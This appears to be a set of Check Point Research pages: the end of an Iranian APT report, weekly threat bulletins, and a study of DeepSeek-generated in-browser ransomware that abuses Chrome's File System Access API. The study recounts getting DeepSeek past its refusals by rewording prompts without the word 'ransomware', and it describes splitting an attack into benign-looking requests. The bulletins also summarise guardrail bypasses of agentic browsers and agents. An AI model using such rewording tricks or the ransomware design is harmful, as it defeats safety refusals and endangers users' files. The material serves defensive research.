Inconsistencies across modules. Casing drifts (netapi32.dll in some descriptors, Netapi32.dll in others), debug strings read like scratch notes (No Handler for path [...] ++), and the command grammar is bespoke rather than a library default.
None of these are individually conclusive, but together they form a consistent picture. The higher-level decisions (the three-format compilation strategy, the per-module AppDomain isolation with post-execution unload, the numbered self-update scheme) reflect deliberate design by someone who understood the trade-offs. The low-level texture (the frustration, the typos, the personal naming) reflects hands-on human coding. Our assessment is that Cavern is a human-authored framework, very plausibly built with some AI assistance for routine code, but driven and shaped throughout by a developer rather than generated end to end.
Victimology
Our analysis indicates that Cavern Manticore is primarily focused on Israeli targets, with particular interest in organizations operating in the government and IT sectors. Recent campaigns suggest that the threat actor possesses a strong understanding of the complex IT supplier chains within Israel’s cyber ecosystem. In several cases, we observed evidence of the actor moving from an initial compromised IT provider to a second-hop provider before ultimately reaching the intended target organization. This activity highlights the operational value of trusted service-provider relationships, particularly where Remote Monitoring and Management (RMM) solutions are deployed. By abusing these tools, the actor can move laterally between victims and deliver malicious software disguised as legitimate updates. The actor also appears to leverage browser-based remote desktop technologies to access targets of interest and, in some cases, abuse built-in features such as remote printing to exfiltrate data when clipboard-based copy-paste or file-transfer capabilities are restricted.
Attribution
During our analysis of an older Cavern Manticore toolset, we identified a communication module (CAV3RN_Http_Module) that uses a webshell-style ASP.NET handler, cac.aspx, hosted on a separate IIS server at one of two attacker-controlled or attacker-deployed domains and used as the command-and-control endpoint. The use of victim-side infrastructure to proxy C2 traffic, combined with XOR-based obfuscation, Base64 encoding, and a fixed verb set per backdoor, is consistent with techniques we have previously observed in operations attributed to OilRig subgroup named Lyceum. Additional overlaps further support a possible Iranian nexus: the targeting of SysAid servers has been observed in past activity linked to Iranian MOIS-aligned actors, including MuddyWater, and this campaign similarly focused on major IT providers in Israel. Finally, WHOIS analysis of the root domain observed in the campaign, hospitalinstallation[.]com, showed that it was registered through Fars Data, an Iranian hosting provider. Taken together, these technical evidences suggest a connection to Iranian-nexus threat activity.
Conclusion
Cavern Manticore illustrates the continued evolution of Iran-nexus cyber capabilities, exposing a mature and modular C2 framework that can be rapidly adapted to new campaigns, targets, and operational requirements. The adversary’s ability to gain access to organizations in the defense and government sectors during the U.S. military campaign “Operation Epic Fury” demonstrates both a high operational tempo and a disciplined approach to target selection.
This activity also emphasizes the persistent risk posed by supply-chain compromise. In several cases, a compromised IT supplier was not the final objective, but rather the first hop toward a higher-value target. By abusing trusted access relationships, the operators were able to move across organizational boundaries while blending into legitimate administrative workflows.
The campaign further highlights the expanding role of Remote Monitoring and Management tools (RMM) as an evolution of traditional living-off-the-land techniques. For defenders, this reinforces the need to monitor anomalous activity originating from otherwise benign RMM software, enforce strict access controls, limit remote sessions, and reduce the overall attack surface exposed through third-party management infrastructure.
By decoupling its core infrastructure from mission-specific modules, Cavern Manticore’s operators gain both operational agility and durability under defensive pressure. This modularity allows them to adjust capabilities per campaign while preserving the underlying framework. For defenders, the key takeaway is clear: detection strategies must move beyond static IOCs and focus on malware behavior patterns, infrastructure, and abuse of trusted administrative channels.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of this attack and protect against threats described in this report.
Security Recommendation
Conduct a focused review of logs, process execution events, and file activity involving uxtheme.dll, as this DLL is known to be abused in DLL sideloading attack chains. Security teams should also examine the C:\ProgramData directory for unusual DLL placement, recently created folders, unsigned binaries, or execution patterns that may indicate attempted or successful DLL sideloading.
Operator-deployed ASP.NET handler at https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx. Carried as configuration by the older Cav3rn agent and the older mhm.dll variant (defined but not invoked by either), and invoked by the olderCav3rnHTTP module.
inpt / outpt working directories
Command / result drop dirs for the older Cav3rn agent
For the latest discoveries in cyber research for the week of 6th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
River Bank & Trust, a US financial institution, has experienced a ransomware incident after an unauthorized actor accessed the network of parent company River Financial Corporation on June 16. The bank found ransomware on portions of its server environment and is assessing whether personal data was accessed or exfiltrated.
Indra Group, a Spanish defense, aerospace, and technology contractor and NATO cyber coalition member, has confirmed a ransomware attack affecting one subsidiary. The Gentlemen ransomware gang threatened to leak allegedly stolen data, while Indra said the incident was contained and that service continuity was maintained.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Nidec, a Japanese electric motor and industrial manufacturer, has disclosed a ransomware attack affecting the network of its Taiwanese subsidiary, Nidec Chaun Choung Technology. BlackField group claimed responsibility and alleged theft of more than two terabytes of corporate data, including employee, financial, procurement, manufacturing, legal, and IT records.
US insurance firm Aflac has disclosed a data breach affecting its Japan operations after attackers accessed its policyholder portal between June 15 and June 25. Personal and financial data of nearly 4.4 million customers was exposed, including policyholder information and premium payment account details.
AI THREATS
Check Point Research has demonstrated a browser-native ransomware technique generated by a large language model that abuses Chrome’s File System Access API. A fake image-enhancement page convinces users to grant folder access, then reads, exfiltrates, and encrypts photos inside the browser on Android and Windows.
Researchers examined shell command injection weaknesses in open-source AI coding agents, finding that 10 out of 11 popular tools failed to block obfuscated destructive commands. Simple rewrites bypassed filters and enabled destructive actions, including file deletion, while only the Continue agent properly parsed commands.
Researchers warned that attackers are exploiting LLM phantom squatting by registering AI-generated domains to hijack traffic and deliver phishing. They recorded 250,000 hallucinated domains and subsequent registrations, including an AI-built phishing kit, Montana Empire, using a postal-service domain for credential theft.
VULNERABILITIES AND PATCHES
Oracle E-Business Suite is affected by CVE-2026-46817, a critical remote code execution flaw reportedly exploited against about 950 internet-exposed instances worldwide. Successful exploitation can give attackers control over ERP systems.
Check Point IPS provides protection against this threat (Oracle E-Business Suite Authentication Bypass (CVE-2026-46817))
Linux kernel maintainers patched CVE-2026-46242, a Bad Epoll privilege escalation flaw affecting Linux servers, desktops, and Android devices. The race-condition use-after-free vulnerability allows an unprivileged local user to gain root access, and a public exploit demonstrated reliable exploitation against vulnerable systems.
Citrix has addressed CVE-2026-8451, a NetScaler ADC and NetScaler Gateway memory disclosure flaw affecting SAML Identity Provider configurations. Active exploitation was observed less than 24 hours after disclosure, with attacks able to leak session tokens from vulnerable appliances.
Check Point IPS provides protection against this threat (Citrix NetScaler Out Of Bounds Read (CVE-2026-8451))
Progress has addressed CVE-2026-8037, a critical OS command injection flaw in Kemp LoadMaster load balancers with a CVSS score of 9.6. Exploitation attempts began on June 29 and could allow unauthenticated remote code execution against vulnerable systems.
Check Point IPS provides protection against this threat (Progress Kemp LoadMaster Commad Injection (CVE-2024-1212, CVE-2026-8037))
THREAT INTELLIGENCE REPORTS
Researchers elaborated on a North Korea-aligned supply-chain campaign dubbed PolinRider, which published 108 malicious packages and a Chrome extension across open-source registries. The attackers abused VS Code auto-run tasks and hidden JavaScript loaders to fetch second-stage malware and deploy DEV#POPPER and OmniStealer.
Researchers observed a partnership between the Vect ransomware group and TeamPCP, a supply chain credential-theft gang, that industrializes ransomware delivery. At least one Vect attack using TeamPCP-sourced credentials was confirmed.
Researchers detected the ChocoPoC campaign, which weaponizes fake proof-of-concept exploits on GitHub and PyPI to infect vulnerability researchers with a Python RAT. The malware hides commands on Mapbox datasets and steals files and browser data while executing attacker commands.
Researchers analyzed 3,000 live ClickFix payloads and found rotating wrappers, custom command generation, and a Downloads-folder technique designed to bypass AMSI protections. The research shows how ClickFix has evolved from simple social engineering into an API-driven malware delivery ecosystem.
For the latest discoveries in cyber research for the week of 22nd June, please download our Threat Intelligence Bulletin.TOP ATTACKS AND BREACHES
Texas Parks and Wildlife Department has been affected by a third-party data breach involving its license system vendor. The incident exposed driver’s license information, passport numbers, emails, phone numbers, and residential addresses for 3,087,721 hunting and fishing license customers. Social Security numbers and payment data were not affected.
ShapedPlugin, a WordPress plugin vendor, has faced a supply chain attack that delivered malicious updates for three paid plugins through its official updater. The malware installed a hidden fake WooCommerce plugin to steal admin, database, and 2FA credentials and modify affected websites. Incident analysis tied the compromise to vendor release infrastructure.
iRhythm Technologies, a US digital health company focused on remote cardiac monitoring, has experienced a cyberattack involving third-party-hosted business applications. The company confirmed that attackers stole protected health information, proprietary data, and other personal data through a social engineering attack. Clinical systems were not affected.
Market intelligence platform Klue has confirmed a breach after attackers used compromised legacy integration credentials to steal OAuth tokens connected to customer Salesforce environments. The tokens enabled theft of sales and customer data from several clients, including Huntress, Recorded Future, Tanium, and Jamf. The Icarus extortion group claimed responsibility.
AI THREATS
Researchers have detailed EvilTokens, an AI-powered phishing-as-a-service operation abusing device-code authentication to steal Microsoft 365 tokens. Huntress observed a 1,380% surge in device-code phishing in early 2026, with AI-generated lures and automated workflows lowering attacker effort.
Researchers have crafted a fake AI skill that hijacked more than 26,000 AI agents by abusing trusted marketplaces and Instagram ads in a supply chain attack. The package initially appeared clean, then used attacker-controlled external instructions after approval to trigger data exfiltration across agent platforms.
LayerX researchers have demonstrated BioShocking AI, a technique that tricks agentic browsers into bypassing their guardrails. Test cases against ChatGPT Atlas, Perplexity Comet, Claude in Chrome, and other AI browsers showed how game-like prompts could expose credentials and user data.
VULNERABILITIES AND PATCHES
Cisco has addressed CVE-2026-20245, a high-severity command injection flaw in Catalyst SD-WAN Manager that attackers exploited as a zero-day for months. The flaw allows an administrator to run root commands through a crafted file, affecting on-premises and Cisco-managed cloud deployments.
Dify has released version 1.14.2 to fix four vulnerabilities in its open-source AI platform, including critical CVE-2026-41947 and CVE-2026-41948. The flaws could allow unauthenticated access and cross-tenant data exposure, including chat content and uploaded files.
Ubiquiti UniFi OS is affected by three flaws, CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910, which are reportedly being exploited against network appliances. The vulnerabilities allow unauthorized changes, file access, and command execution, with exploitation observed in Mirai botnet activity.
Check Point IPS provides protection against these threats (Ubiquiti UniFi OS Privilege Escalation (CVE-2026-34908), Ubiquiti UniFi OS Directory Traversal (CVE-2026-34909),Ubiquiti UniFi OS Command Injection (CVE-2026-34910))
Langflow, an open-source AI workflow tool, is reportedly being targeted through exploitation of CVE-2026-55255, alongside ongoing mass exploitation of CVE-2026-33017. Attackers enumerated flow IDs to run victim pipelines and extract embedded API keys, while remote code execution enabled malware deployment and cloud credential theft.
Check Point IPS provides protection against this threat (Langflow Remote Code Execution (CVE-2026-33017))
THREAT INTELLIGENCE REPORTS
Researchers have uncovered the FortiBleed campaign, which converts compromised FortiGate firewalls into passive credential stealers across 24 protocols. The operation targeted more than 430,000 devices worldwide and siphoned more than 110 million credentials.
Researchers have attributed the StockStay espionage malware to Russia-linked Turla and described targeting of Ukrainian government and defense organizations. The malware evolved from a fake stock app to PDF reader and calculator lookalikes, delivered through phishing with malicious remote desktop configuration files.
Researchers have revealed that the Chinese DCloud Uni-App framework powers at least 236,493 scam domains since 2022, including fake crypto exchanges, wallet drainers, WhatsApp phishing, and gambling schemes. Technical fingerprints suggest centralized operators, likely China-based, supporting a broad fraud ecosystem.
Researchers have analyzed the FulcrumSec cloud extortion group targeting cloud-native organizations. The group exploits exposed credentials, unpatched applications, and misconfigured storage, then uses broad permissions to move across environments, collect data for months, and exfiltrate it using legitimate tools.
AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns.
In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories.
The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome.
The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android.
Introduction
Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code.
As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude.
DeepSeek then becomes particularly relevant in this context for several reasons:
Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article.
Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation.
End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components.
Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeekmodels can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms.
Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser.
The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application.
The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity.
A Noisy Sample With One Important Idea
The sample that caught our attention is SHA256
07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel.
We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser.
The victim-facing page is disguised as a Discord avatar AI upscaler:
Figure 1 – Victim-facing lure disguised as a Discord avatar AI upscaler in the DeepSeek attributed InfernoGrabber sample.
Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data.
Figure 2 – InfernoGrabber ransom-note overlay.
Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model.
In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt.
Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential.
The generated JavaScript referenced:
showOpenFilePicker();
showDirectoryPicker();
recursive traversal of a user-selected directory;
reading selected files through browser file handles;
sending file contents to the Flask backend;
displaying a ransomware-style warning after the interaction.
The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls.
The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments.
The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files.
The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential.
Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons:
The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions.
Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful.
Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows.
From Hallucinated Scaffold to Working PoC
Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept.
When prompted directly to create ransomware, the model consistently refused across all tested modes.
Figure 3 – DeepSeek V4 refuses to generate ransomware when prompted directly.
Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content.
In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files.
In Expert mode, the behavior was inconsistent across attempts:
several attempts ended in refusal;
one generated a non-functional sample;
one generated a fully working browser-based ransomware PoC.
One response was especially notable because the model described the result as:
“a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors”
This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation.
For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API.
This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually.
In-Browser Ransomware on Android
To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler.
On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers.
At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for.
However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application.
On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory.
On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder.
The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory.
Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API.
The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access.
Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data.
Practical Recommendations for Users
While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse:
Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request.
Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library.
Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation.
Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques.
Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access.
Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files.
Conclusion
LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration.
This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic.
Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique.
In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API.
This illustrates a broader risk:
A non-expert attacker does not need to know that such an API exists or how to abuse it.
By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities.
The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing.
In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild.
Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized.
At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible.